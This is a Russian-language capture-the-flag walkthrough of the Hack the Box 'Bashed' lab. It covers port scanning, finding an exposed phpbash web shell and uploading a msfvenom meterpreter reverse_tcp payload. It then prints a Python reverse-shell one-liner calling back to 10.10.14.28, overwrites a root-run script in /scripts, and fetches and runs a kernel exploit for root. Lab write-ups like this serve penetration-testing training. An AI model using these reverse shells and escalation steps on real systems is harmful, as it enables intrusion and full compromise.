Решение задачи Bashed на базе платформы Hack the Box

Решение задачи Bashed на базе платформы Hack the Box

Сегодня мы будем решать задачу «Bashed», которая проводится в формате CTF-конкурса (capture the flag – захватить флаг).

Автор: Raj Chandel

Привет друзья! Сегодня мы будем решать задачу «Bashed», которая проводится в формате CTF-конкурса (capture the flag – захватить флаг). Эта лабораторная работа создана на платформе Hack the Box. На базе этой онлайн-платформы разработано множество других лабораторных работ, решая которые, вы можете прокачать свои навыки пентестера. Есть задачи и для начинающих и для продвинутых специалистов. Задача Bashed относится к категории «Retired Lab».

Уровень: Средний

Задача: Найти файлы user.txt и root.txt

Начнем!

Поскольку с этими задачами можно работать только онлайн, доступен статический IP-адрес. У лабораторной работы Bashed адрес - 10.10.10.68.

Как обычно, начинаем со сканирования портов.

nmap -A 10.10.10.68

Рисунок 1: Результаты сканирования портов

Поскольку 80-й порт открыт, попробуем ввести этот IP в адресной строке браузера. В результате появилась страница, показанная на рисунке ниже.

Рисунок 2: Результат ввода IP в адресной строке браузера

Затем воспользуемся утилитой dirb из набора в Kali Linux для получения списка директорий. В результате нашлось несколько интересных папок, в том числе /dev.

Рисунок 3: Результаты работы утилиты dirb

Если открыть директорию /dev через браузер, можно найти ссылку на файл phpbash.php. Кликаем на эту ссылку.

Рисунок 4: Содержимое директории /dev

В результате произойдет перенаправление на страницу, показанную на рисунке ниже, которая, похоже, представляет собой веб-шелл.

Теперь вы можете тестировать произвольные команды. Например, попробуем ввести команду ls для просмотра содержимого текущей директории:

Рисунок 5: Содержимое директории dev, полученное через веб-шелл

Внутри директории /html находится папка uploads. Таким образом, мы можем легко скомпрометировать целевую систему, загрузив бэкдор.

Рисунок 6: Содержимое директории html

При помощи утилиты msfvenom мы создали вредоносный файл shell.php, используя следующую команду:

msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.28 lport=4444 -f raw

Одновременно запускаем multi/handler для обратного соединения с компьютера жертвы:

Рисунок 7: Создание вредоносного файла shell.php

Для передачи файла мы использовали простейший Python HTTP-сервер. Вы также можете использовать альтернативный метод для передачи и загрузки вредоносного файла через wget в директорию uploads.

Рисунок 8: Загрузка вредоносного файла в директорию uploads

Теперь запускаем вредоносный файл shell.php через браузер, как показано на рисунке ниже, и переключаемся на Metasploit Framework для обратного соединения.

Рисунок 9: Запуск вредоносного файла через браузер

После запуска бэкдора переходим в Metaslploit Framework и ожидаем сессию в meterpreter.

msf use exploit/multi/handler

msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp

msf exploit(multi/handler) set lhost 10.10.14.28

msf exploit(multi/handler) set lport 4444

msf exploit(multi/handler) exploit

На рисунке ниже показана сессия meterpreter session1, которая используется для доступа к tty-шеллу на компьютере жертвы.

Теперь переходим к решению нашей задачи, а конкретно – к получению содержимого файлов user.txt и root.txt. Вначале посмотрим содержимое директории /home.

cd home

ls

Внутри папки home находится директория arrexel, в которой находится файл user.txt. Для просмотра содержимого файла user.txt используем команду cat.

cd arrexel

ls

cat user.txt

Прекрасно! Первая часть задачи решена.

Рисунок 10: Содержимое файла user.txt

Для создания еще одного экземпляра tty-шелла на целевой системе нам нужно импортировать python-файл. Я запустил следующую команду внутри meterpreter-сессии.

shell

python -c 'import pty;pty.spawn("/bin/bash")'

lsb_release -a

Рисунок 11: Создание нового шелла

Запускаем команду ls -al command для просмотра прав доступа всех директорий. Замечаем, что пользователь scriptmanager имеет права для доступа к директории /scripts.

Рисунок 12: Содержимое файловой системы с правами доступа на компьютере жертвы

Если мы попытаемся зайти в директорию /scriptsот имени обычного пользователя, появится сообщение «Permission Denied». Запускаем команду run sudo –l, которая сообщит нам, что у пользователя scriptmanager отсутствует пароль.

Затем запускаем следующие команды от имени пользователя scriptmanager:

sudo -u scriptmanager ls /scripts

sudo -u scriptmanager cat /scripts/test.py

sudo -u scriptmanager cat /scripts/test.txt

Поскольку мы нашли python-файл, нужно заменить оригинальный test.py на вредоносный python-файл для создания обратного соединения через netcat. Для начала нужно сохранить следующий код в текстовом файле:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.28",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Сохраняем файл с расширением .py, загружаем в систему жертвы и запускаем netcat на порту, где происходит прослушивание.

Примечание: Замените адрес 10.10.14.28 внутри кода на ваш VPN IP.

Рисунок 14: Запуск команд от имени пользователя scriptmanager

Теперь загружаем вредоносный файл в директорию /tmp.

wget http://10.10.14.28/root.py

А затем заменяем файл test.py в директории /script на файл root.py с помощью следующей команды:

sudo -u scriptmanager cp /tmp/root.py /scripts/test.py

Через некоторое время появится обратное соединение в терминале, где запущен netcat, с правами суперпользователя. Завершаем задачу просмотром содержимого файла root.txt.

nc -lvp 1234

id

cd /root

ls

cat root.txt

Рисунок 15: Содержимое файла root.txt

Второй метод нахождения файла root.txt

Мы выяснили, что система жертвы работает на базе Ubuntu 16.04. В Гугле находим эксплоит, позволяющий получить права суперпользователя на уровне ядра.

Сохраняем текст эксплоита в файле poc.c.

Рисунок 16: Описание эксплоита

Компилируем файл при помощи следующей команды:

gcc poc.c -o pwn

Запускаем Python HTTP-сервер для передачи файла на целевую систему.

Рисунок 17: Компилирование эксплоита и запуск HTTP-сервера

Наконец, загружаем скомпилированный файл pwn на целевую машину при помощи wget в директорию /dev/shm, устанавливаем права доступа и запускаем эксплоит.

wget http://10.10.14.28/pwn

chmod 777 pwn

./pwn

В итоге получаем права суперпользователя и как можно скорее смотрим содержимое файла root.txt, поскольку через некоторое время ядро перестанет работать.

cd /root

cat root.txt

В итоге мы решили задачу еще одним способом.

Устали от того, что Интернет знает о вас все?

Присоединяйтесь к нам и станьте невидимыми!